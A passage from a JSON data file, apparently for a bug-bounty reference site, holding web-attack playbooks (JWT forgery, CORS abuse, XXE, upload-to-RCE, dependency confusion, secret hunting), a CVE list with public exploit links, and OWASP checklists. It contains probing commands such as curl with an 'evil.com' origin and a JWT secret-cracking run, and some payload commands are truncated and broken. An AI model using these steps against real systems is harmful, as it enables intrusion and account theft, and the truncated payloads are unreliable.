unkeyed input into stored XSS, open redirect, or resource hijack (poisoned JS/CSS URL). Choose a cache-buster you can re-poison at will.", "tools": [], "cmd": "" }, { "title": "Cache deception", "detail": "Append a static-looking suffix (/account/profile.css) so the cache stores an authenticated page, then read another user's cached data.", "tools": [], "cmd": "curl -s 'https://target.com/account/settings/nonexistent.css' -I" } ], "tips": [ "Read the Cache-Control, Age, and X-Cache headers religiously — they tell you keying behavior.", "Poison a unique cache-buster URL so you never affect real traffic while testing." ], "references": [ "https://portswigger.net/web-security/web-cache-poisoning" ] }, { "slug": "prototype-pollution", "name": "Prototype Pollution (client & server)", "level": "advanced", "tags": [ "prototype-pollution", "javascript", "nodejs", "gadgets" ], "summary": "Inject properties into Object.prototype to change app behavior — client-side DOM XSS or server-side RCE via gadget chains.", "steps": [ { "title": "Test for the sink", "detail": "Add __proto__[test]=polluted via query, JSON body, or merge functions. On the client, check window.Object.prototype.test in console; on server, look for behavior changes.", "tools": [ "burpsuite" ], "cmd": "curl 'https://target.com/api?__proto__[test]=polluted'" }, { "title": "Client-side: find a gadget", "detail": "Look for sinks that read a polluted property (e.g., library options) and flow to innerHTML/script. DOM Invader (Burp) automates gadget hunting.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Server-side: escalate to RCE", "detail": "In Node apps, pollute properties consumed by child_process, template engines, or spawn options to achieve command execution.", "tools": [], "cmd": "" } ], "tips": [ "JSON bodies with a literal \"__proto__\" key often bypass naive query-string filters.", "Client gadgets are library-specific — jQuery, Lodash, and sanitizers each have known ones." ], "references": [ "https://portswigger.net/web-security/prototype-pollution" ] }, { "slug": "oauth-attacks", "name": "OAuth & SSO Misconfiguration", "level": "advanced", "tags": [ "oauth", "sso", "openid", "auth" ], "summary": "Abuse loose redirect and state handling in OAuth flows to steal tokens and take over accounts.", "steps": [ { "title": "Map the flow", "detail": "Capture the full authorization request: client_id, redirect_uri, response_type, scope, and state. Note whether it's implicit (token in fragment) or code flow.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Attack redirect_uri", "detail": "Test path traversal, subdomain wildcards, open-redirect chains, and appended parameters to exfiltrate the code/token to an attacker-controlled host.", "tools": [], "cmd": "" }, { "title": "Break state / CSRF", "detail": "Remove or reuse the state parameter to test login CSRF and account linking (attach your social login to the victim's account).", "tools": [], "cmd": "" }, { "title": "Steal via referer / leaks", "detail": "Check if the code/token leaks through Referer headers to third-party resources on the callback page.", "tools": [], "cmd": "" } ], "tips": [ "A redirect_uri that allows any subdomain + one open redirect on a subdomain = token theft.", "Pre-account-takeover: register with a victim's email before they do via SSO." ], "references": [ "https://portswigger.net/web-security/oauth" ] }, { "slug": "jwt-attacks", "name": "JWT Attacks", "level": "intermediate", "tags": [ "jwt", "auth", "crypto" ], "summary": "Forge or tamper JSON Web Tokens by abusing weak verification.", "steps": [ { "title": "Decode & inspect", "detail": "Read the header and claims. Note the alg, kid, and any user/role fields. Never trust client-side; the server's verification is the target.", "tools": [ "jwt_tool" ], "cmd": "python3 jwt_tool.py " }, { "title": "alg:none & confusion", "detail": "Try alg:none (unsigned) and RS256→HS256 key confusion (sign with the public key as HMAC secret).", "tools": [ "jwt_tool" ], "cmd": "python3 jwt_tool.py -X a" }, { "title": "Crack weak secrets", "detail": "For HS256, brute-force the signing secret offline with a wordlist. Weak secrets are common in dev-leaked configs.", "tools": [ "jwt_tool" ], "cmd": "python3 jwt_tool.py -C -d rockyou.txt" }, { "title": "kid / jku injection", "detail": "Test path traversal or SQLi in kid, and attacker-controlled jku/x5u URLs pointing to your own key.", "tools": [ "jwt_tool" ], "cmd": "" } ], "tips": [ "Tamper a claim (role:admin) and re-sign to prove impact once you have a bypass.", "Check for JWTs in cookies, Authorization headers, and WebSocket handshakes alike." ], "references": [ "https://portswigger.net/web-security/jwt" ] }, { "slug": "cors-exploitation", "name": "CORS Misconfiguration", "level": "intermediate", "tags": [ "cors", "authz", "data-theft" ], "summary": "Abuse permissive cross-origin policies to read authenticated responses from a victim's browser.", "steps": [ { "title": "Probe ACAO reflection", "detail": "Send an Origin header and see if it's reflected in Access-Control-Allow-Origin, especially with Access-Control-Allow-Credentials: true.", "tools": [ "httpx" ], "cmd": "curl -s -H 'Origin: https://evil.com' https://target.com/api/me -I" }, { "title": "Test weak validation", "detail": "Try null origin, suffix/prefix matches (target.com.evil.com), and unescaped-dot regex bypasses.", "tools": [], "cmd": "curl -s -H 'Origin: null' https://target.com/api/me -I" }, { "title": "Exploit", "detail": "Host a page that fetches the victim's authenticated endpoint with credentials and exfiltrates the response. Impact = account data theft.", "tools": [], "cmd": "" } ], "tips": [ "Reflected Origin + Allow-Credentials:true is almost always a finding.", "null origin is reachable via a sandboxed iframe or data: URL." ], "references": [ "https://portswigger.net/web-security/cors" ] }, { "slug": "xxe", "name": "XXE Injection", "level": "intermediate", "tags": [ "xxe", "xml", "ssrf", "file-read" ], "summary": "Abuse XML external entity parsing to read files, perform SSRF, or exfiltrate data out-of-band.", "steps": [ { "title": "Find XML sinks", "detail": "SOAP endpoints, file uploads (DOCX/SVG/XML), and APIs accepting application/xml. Also try switching a JSON endpoint's Content-Type to XML.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Classic file read", "detail": "Declare an external entity pointing at a local file and reflect it in the response.", "tools": [], "cmd": "]>&x;" }, { "title": "Blind / OOB", "detail": "When there's no reflection, use an external DTD on your server to exfiltrate file contents over HTTP/DNS.", "tools": [ "interactsh" ], "cmd": "interactsh-client -v" }, { "title": "SSRF via XXE", "detail": "Point the entity at internal services or cloud metadata to pivot.", "tools": [], "cmd": "" } ], "tips": [ "SVG and Office documents are XML — upload fields are a classic XXE vector.", "Parameter entities (%) are needed for most blind/OOB exfiltration." ], "references": [ "https://portswigger.net/web-security/xxe" ] }, { "slug": "file-upload-rce", "name": "File Upload to RCE", "level": "intermediate", "tags": [ "upload", "rce", "webshell", "bypass" ], "summary": "Turn a file upload into code execution by defeating type/extension checks.", "steps": [ { "title": "Map the upload + retrieval", "detail": "Find where the file lands and whether it's web-accessible. No exec path? Look for secondary sinks (image processing, archive extraction).", "tools": [ "burpsuite", "ffuf" ], "cmd": "" }, { "title": "Bypass extension filters", "detail": "Try double extensions (.php.jpg), alternate handlers (.phtml, .php5), case tricks, null bytes on legacy stacks, and .htaccess overrides.", "tools": [], "cmd": "" }, { "title": "Bypass content checks", "detail": "Spoof Content-Type, prepend valid magic bytes (GIF89a;), or embed code in EXIF/polyglots to pass MIME/image validation.", "tools": [ "exiftool" ], "cmd": "exiftool -Comment='' shell.jpg" }, { "title": "Chain the exotic", "detail": "SVG → stored XSS/XXE, ZIP → path traversal (zip-slip), image libs → ImageMagick/Ghostscript RCE.", "tools": [], "cmd": "" } ], "tips": [ "If uploads aren't executable, pivot: SVG/HTML for XSS, or overwrite files via traversal in the filename.", "Test what the CDN/origin does with unknown extensions — behavior often differs." ], "references": [ "https://portswigger.net/web-security/file-upload" ] }, { "slug": "graphql-abuse", "name": "GraphQL Abuse", "level": "intermediate", "tags": [ "graphql", "introspection", "bola", "dos" ], "summary": "Enumerate and attack GraphQL: schema recovery, authorization gaps, and resource abuse.", "steps": [ { "title": "Recover the schema", "detail": "Try introspection first; if disabled, brute-force field names via suggestion errors.", "tools": [ "graphql-cop", "clairvoyance" ], "cmd": "clairvoyance https://target.com/graphql -o schema.json -w graphql-words.txt" }, { "title": "Audit misconfigs", "detail": "Check batching, field suggestions, CSRF (GET/urlencoded), and debug-mode error leakage.", "tools": [ "graphql-cop" ], "cmd": "graphql-cop -t https://target.com/graphql" }, { "title": "Object/field authz (BOLA/BFLA)", "detail": "Query objects by ID across tenants and call privileged mutations as a low-priv user — the top GraphQL vuln.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Abuse & DoS", "detail": "Test deeply nested queries, aliases, and batching for mass-assignment and resource exhaustion.", "tools": [], "cmd": "" } ], "tips": [ "Aliases let you brute-force (e.g., login) hundreds of times in one request — great for rate-limit bypass.", "Mutations are where authz is most often forgotten." ], "references": [ "https://github.com/dolevf/graphql-cop" ] }, { "slug": "race-conditions", "name": "Race Conditions (single-packet attack)", "level": "advanced", "tags": [ "race", "concurrency", "logic" ], "summary": "Exploit small timing windows where the app checks-then-acts, to double-spend, bypass limits, or over-redeem.", "steps": [ { "title": "Find limit-bound actions", "detail": "Coupons, gift-card redemption, withdrawals, vote/like, invite acceptance, 2FA/OTP submission — anything meant to happen 'once'.", "tools": [], "cmd": "" }, { "title": "Fire in parallel", "detail": "Use Burp Repeater's parallel 'send group' or Turbo Intruder's single-packet attack to deliver many requests within the same window.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Confirm the overshoot", "detail": "Prove state that shouldn't exist: balance below zero, coupon applied twice, more redemptions than allowed.", "tools": [], "cmd": "" } ], "tips": [ "The HTTP/2 single-packet attack removes network jitter — it's the reliable modern technique.", "Even 'idempotent' endpoints can race on the read-modify-write of a counter." ], "references": [ "https://portswigger.net/web-security/race-conditions" ] }, { "slug": "business-logic", "name": "Business Logic Flaws", "level": "intermediate", "tags": [ "logic", "workflow", "abuse-case" ], "summary": "Break the intended rules of a workflow — the bugs scanners never find.", "steps": [ { "title": "Model the intended flow", "detail": "Diagram every step, precondition, and trust assumption (price, quantity, role, state transitions).", "tools": [], "cmd": "" }, { "title": "Break assumptions", "detail": "Negative/huge quantities, skipping steps, replaying completed steps, tampering client-set prices/discounts, and manipulating currency/rounding.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Abuse trust between components", "detail": "Confuse the app about who did what: parameter pollution, second-order inputs, and reusing tokens across contexts.", "tools": [], "cmd": "" } ], "tips": [ "Always ask 'what is this feature trying to prevent?' then do exactly that.", "Discount/refund/points systems are perennial goldmines." ], "references": [ "https://owasp.org/Top10/A04_2021-Insecure_Design/" ] }, { "slug": "dependency-confusion", "name": "Dependency Confusion & Supply Chain", "level": "advanced", "tags": [ "supply-chain", "npm", "pypi", "ci" ], "summary": "Discover internal package names and (with authorization) demonstrate how a public look-alike could be pulled into builds.", "steps": [ { "title": "Harvest internal names", "detail": "Scrape package.json, requirements.txt, .npmrc, lockfiles, and JS bundles for internal/private package names.", "tools": [ "jsluice", "trufflehog", "gitleaks" ], "cmd": "cat jsfiles.txt | jsluice urls | grep -i 'internal\\|@corp'" }, { "title": "Check registry gaps", "detail": "See whether those names are unclaimed on public npm/PyPI — an unclaimed internal name is the confusion vector.", "tools": [], "cmd": "npm view 2>/dev/null || echo unclaimed" }, { "title": "Prove impact safely", "detail": "Only within scope and program rules: a benign PoC that phones home (no data exfil) demonstrates resolution without harm. Never publish malicious code.", "tools": [ "interactsh" ], "cmd": "" } ], "tips": [ "Scoped packages (@org/pkg) with an unclaimed scope are prime candidates.", "This is high-impact and high-sensitivity — get explicit authorization first." ], "references": [ "https://portswigger.net/daily-swag/dependency-confusion" ] }, { "slug": "cicd-secret-recon", "name": "Git & CI/CD Secret Recon", "level": "intermediate", "tags": [ "secrets", "git", "ci", "recon" ], "summary": "Find leaked credentials and internal detail across code, git history, and exposed CI artifacts.", "steps": [ { "title": "Find repos & exposed .git", "detail": "Enumerate the org's public repos and probe web roots for exposed /.git/ directories you can dump.", "tools": [ "httpx", "nuclei" ], "cmd": "httpx -l live.txt -path '/.git/HEAD' -mc 200 -silent" }, { "title": "Scan history, not just HEAD", "detail": "Secrets are usually in old commits. Scan full history with verification to cut noise.", "tools": [ "trufflehog", "gitleaks" ], "cmd": "trufflehog git https://github.com/org/repo --only-verified" }, { "title": "Mine JS & artifacts", "detail": "Pull JS bundles and CI logs/artifacts for API keys, tokens, and internal endpoints.", "tools": [ "jsluice", "getjs" ], "cmd": "cat jsfiles.txt | jsluice secrets" }, { "title": "Validate & scope impact", "detail": "Confirm a leaked key is live and map what it unlocks (cloud, SaaS, internal APIs) before reporting.", "tools": [], "cmd": "" } ], "tips": [ "Dorking org members' personal repos often beats the main org repo.", "A dumped /.git/ lets you reconstruct source and find more secrets offline." ], "references": [ "https://github.com/trufflesecurity/trufflehog" ] }, { "slug": "mass-hunting-automation", "name": "Scaling: Automation & Monitoring", "level": "advanced", "tags": [ "automation", "monitoring", "pipelines" ], "summary": "Move from one-off scans to continuous coverage that pings you when a target's attack surface changes.", "steps": [ { "title": "Make recon idempotent", "detail": "Persist per-target state and only surface deltas, so re-runs are cheap and new assets stand out.", "tools": [ "anew", "subfinder", "dnsx", "httpx" ], "cmd": "subfinder -d target.com -all -silent | dnsx -silent | anew hosts.txt | httpx -silent | notify" }, { "title": "Diff over time", "detail": "Schedule recon; when anew emits new subdomains/URLs/JS, trigger a focused nuclei pass on just the new assets.", "tools": [ "nuclei", "notify" ], "cmd": "nuclei -l new-hosts.txt -severity critical,high -silent | notify -bulk" }, { "title": "Watch JS & content", "detail": "Re-crawl and hash JS; alert on changed bundles (new endpoints/secrets) and newly appearing paths.", "tools": [ "katana", "jsluice" ], "cmd": "" }, { "title": "Alert, don't drown", "detail": "Route only high-signal events (new host, new critical, changed JS) to Slack/Discord. Noise kills automation.", "tools": [ "notify" ], "cmd": "" } ], "tips": [ "Continuous monitoring beats deep one-time scans for bounty ROI — you catch new deploys first.", "Keep resolver lists and templates fresh via cron or the signal quality decays." ], "references": [ "https://github.com/six2dez/reconftw" ] } ], "cves": [ { "id": "CVE-2021-44228", "title": "Log4Shell — Apache Log4j2 JNDI RCE", "severity": "critical", "cvss": 10, "published": "2021-12", "product": "Apache Log4j 2", "kev": true, "signal": "classic", "tags": [ "rce", "jndi", "java", "log4j" ], "summary": "Unauthenticated RCE via JNDI lookup in logged strings (${jndi:ldap://...}). Affected a vast swath of Java software.", "poc": "https://github.com/kozmer/log4j-shell-poc", "nuclei": "http/cves/2021/CVE-2021-44228.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-44228" ] }, { "id": "CVE-2022-22965", "title": "Spring4Shell — Spring Framework RCE", "severity": "critical", "cvss": 9.8, "published": "2022-03", "product": "Spring Framework", "kev": true, "signal": "classic", "tags": [ "rce", "java", "spring", "data-binding" ], "summary": "RCE via data binding on JDK 9+ with Tomcat, abusing class loader access to write a webshell.", "poc": "https://github.com/reznok/Spring4Shell-POC", "nuclei": "http/cves/2022/CVE-2022-22965.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2022-22965" ] }, { "id": "CVE-2022-26134", "title": "Atlassian Confluence OGNL Injection RCE", "severity": "critical", "cvss": 9.8, "published": "2022-06", "product": "Confluence Server/Data Center", "kev": true, "signal": "classic", "tags": [ "rce", "ognl", "confluence", "atlassian" ], "summary": "Unauthenticated OGNL injection in the URL path leading to remote code execution.", "poc": "https://github.com/jbaines-r7/through_the_wire", "nuclei": "http/cves/2022/CVE-2022-26134.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2022-26134" ] }, { "id": "CVE-2023-34362", "title": "MOVEit Transfer SQL Injection", "severity": "critical", "cvss": 9.8, "published": "2023-05", "product": "Progress MOVEit Transfer", "kev": true, "signal": "classic", "tags": [ "sqli", "moveit", "cl0p", "mass-exploited" ], "summary": "SQL injection enabling access to the database and deployment of a webshell; mass-exploited by Cl0p.", "poc": "https://github.com/horizon3ai/CVE-2023-34362", "nuclei": "http/cves/2023/CVE-2023-34362.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2023-34362" ] }, { "id": "CVE-2022-1388", "title": "F5 BIG-IP iControl REST Auth Bypass RCE", "severity": "critical", "cvss": 9.8, "published": "2022-05", "product": "F5 BIG-IP", "kev": true, "signal": "classic", "tags": [ "rce", "auth-bypass", "f5", "icontrol" ], "summary": "Authentication bypass in the iControl REST interface allowing unauthenticated command execution.", "poc": "https://github.com/horizon3ai/CVE-2022-1388", "nuclei": "http/cves/2022/CVE-2022-1388.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2022-1388" ] }, { "id": "CVE-2024-3400", "title": "PAN-OS GlobalProtect Command Injection", "severity": "critical", "cvss": 10, "published": "2024-04", "product": "Palo Alto PAN-OS", "kev": true, "signal": "trending", "tags": [ "rce", "command-injection", "pan-os", "globalprotect" ], "summary": "Unauthenticated command injection in the GlobalProtect feature, exploited in the wild as a zero-day.", "poc": "https://github.com/h4x0r-dz/CVE-2024-3400", "nuclei": "http/cves/2024/CVE-2024-3400.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2024-3400" ] }, { "id": "CVE-2023-3519", "title": "Citrix NetScaler ADC/Gateway RCE", "severity": "critical", "cvss": 9.8, "published": "2023-07", "product": "Citrix NetScaler ADC/Gateway", "kev": true, "signal": "trending", "tags": [ "rce", "citrix", "netscaler" ], "summary": "Unauthenticated remote code execution on internet-facing NetScaler appliances; widely exploited.", "poc": "https://github.com/BishopFox/CVE-2023-3519", "nuclei": "http/cves/2023/CVE-2023-3519.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2023-3519" ] }, { "id": "CVE-2024-21887", "title": "Ivanti Connect Secure Command Injection", "severity": "critical", "cvss": 9.1, "published": "2024-01", "product": "Ivanti Connect Secure", "kev": true, "signal": "trending", "tags": [ "rce", "command-injection", "ivanti", "chained" ], "summary": "Command injection chained with an auth-bypass (CVE-2023-46805) for unauthenticated RCE.", "poc": "https://github.com/rapid7/metasploit-framework", "nuclei": "http/cves/2024/CVE-2024-21887.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2024-21887" ] }, { "id": "CVE-2021-26855", "title": "ProxyLogon — Exchange SSRF", "severity": "critical", "cvss": 9.8, "published": "2021-03", "product": "Microsoft Exchange Server", "kev": true, "signal": "classic", "tags": [ "ssrf", "exchange", "proxylogon", "chained" ], "summary": "Pre-auth SSRF in Exchange, chained to arbitrary file write for RCE. Basis of the ProxyLogon attack chain.", "poc": "https://github.com/hausec/ProxyLogon", "nuclei": "http/cves/2021/CVE-2021-26855.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-26855" ] }, { "id": "CVE-2018-13379", "title": "Fortinet FortiOS Path Traversal", "severity": "critical", "cvss": 9.8, "published": "2019-06", "product": "Fortinet FortiOS SSL VPN", "kev": true, "signal": "classic", "tags": [ "path-traversal", "fortinet", "credential-leak" ], "summary": "Pre-auth path traversal leaking VPN session files (including plaintext credentials). Perennially exploited.", "poc": "https://github.com/milo2012/CVE-2018-13379", "nuclei": "http/cves/2018/CVE-2018-13379.yaml", "refs": [ "https://nvd.nist.gov/vuln/detail/CVE-2018-13379" ] } ], "owasp": [ { "id": "A01", "name": "Broken Access Control", "rank": 1, "desc": "Users can act outside their intended permissions — IDOR, missing function-level checks, forced browsing, tenant boundary bypass.", "checklist": [ "Test every object reference cross-account (IDOR)", "Verify function-level authz on every privileged action", "Check for forced browsing to admin/internal routes", "Test all HTTP verbs, not just GET", "Confirm tenant isolation in multi-tenant apps" ], "tools": [ "burpsuite", "caido", "ffuf" ], "playbook": "idor-hunting" }, { "id": "A02", "name": "Cryptographic Failures", "rank": 2, "desc": "Sensitive data exposed through weak/missing crypto — cleartext transport, weak hashing, hardcoded keys, predictable tokens.", "checklist": [ "Confirm TLS everywhere; no mixed content", "Look for sensitive data in responses/JS/localStorage", "Check for weak or missing password hashing", "Hunt hardcoded secrets in JS bundles" ], "tools": [ "httpx", "getjs", "linkfinder" ], "playbook": "" }, { "id": "A03", "name": "Injection", "rank": 3, "desc": "Untrusted input alters a query or command — SQLi, NoSQLi, command injection, and XSS (a client-side injection).", "checklist": [ "Fuzz every parameter with injection markers", "Confirm SQLi candidates with sqlmap", "Test XSS reflections in each context (HTML/attr/JS)", "Check command injection on features that shell out" ], "tools": [ "sqlmap", "dalfox", "gf", "arjun" ], "playbook": "api-hunting" }, { "id": "A04", "name": "Insecure Design", "rank": 4, "desc": "Flaws in the design itself — missing rate limits, weak business logic, unsafe workflows that no amount of clean code fixes.", "checklist": [ "Map business logic and abuse cases", "Test for missing rate limits on sensitive actions", "Check workflow step-skipping and negative values", "Look for trust assumptions that can be broken" ], "tools": [ "burpsuite" ], "playbook": "account-takeover" }, { "id": "A05", "name": "Security Misconfiguration", "rank": 5, "desc": "Default configs, verbose errors, open cloud storage, unnecessary features, and missing hardening headers.", "checklist": [ "Scan for exposed panels, .git, backups, debug endpoints", "Check security headers and CORS config", "Look for open cloud buckets", "Review verbose error messages / stack traces" ], "tools": [ "nuclei", "s3scanner", "ffuf", "httpx" ], "playbook": "recon-methodology" }, { "id": "A06", "name": "Vulnerable & Outdated Components", "rank": 6, "desc": "Known-vulnerable libraries, frameworks, and appliances — the CVE feed is your friend here.", "checklist": [ "Fingerprint tech/versions with httpx", "Match versions against known CVEs", "Run nuclei CVE templates", "Check for end-of-life software" ], "tools": [ "httpx", "nuclei" ], "playbook": "" }, { "id": "A07", "name": "Identification & Authentication Failures", "rank": 7, "desc": "Weak auth — credential stuffing, weak reset flows, poor session handling, and bypassable MFA.", "checklist": [ "Test password reset for host-header/token flaws", "Check for missing rate limits on login/OTP", "Review session fixation and logout behavior", "Probe MFA bypass paths" ], "tools": [ "burpsuite" ], "playbook": "account-takeover" }, { "id": "A08", "name": "Software & Data Integrity Failures", "rank": 8, "desc": "Unverified updates, insecure deserialization, and CI/CD or dependency tampering.", "checklist": [ "Look for unsigned update mechanisms", "Test for insecure deserialization sinks", "Check SRI on third-party scripts", "Review CI/CD and dependency trust" ], "tools": [ "nuclei" ], "playbook": "" }, { "id": "A09", "name": "Security Logging & Monitoring Failures", "rank": 9, "desc": "Hard to test from outside, but note where actions appear untracked or where log injection is possible.", "checklist": [ "Check whether security events seem logged/alerted", "Test for log injection via user input", "Note absence of lockout/alerting on abuse" ], "tools": [], "playbook": "" }, { "id": "A10", "name": "Server-Side Request Forgery (SSRF)", "rank": 10, "desc": "The app fetches a user-supplied URL, letting you reach internal services and cloud metadata.", "checklist": [ "Find URL-fetching features (webhooks, previews, imports)", "Set up OOB detection for blind SSRF", "Target localhost, link-local, and cloud metadata", "Bypass filters with alternate encodings/redirects" ], "tools": [ "interactsh", "nuclei" ], "playbook": "ssrf-hunting" } ], "meta": { "cveNote": "Curated, high-signal CVEs — famous, widely-exploited issues with public PoCs and nuclei templates. This is a hand-picked reference set, not a live feed; refresh via the build pipeline.", "built": "2026-08-16T19:27:23.735Z", "site": "https://vulns.co", "counts": { "tools": 59, "wordlists": 9, "payloads": 7, "playbooks": 20, "pipelines": 5, "stacks": 3, "cves": 10, "owasp": 10 } } }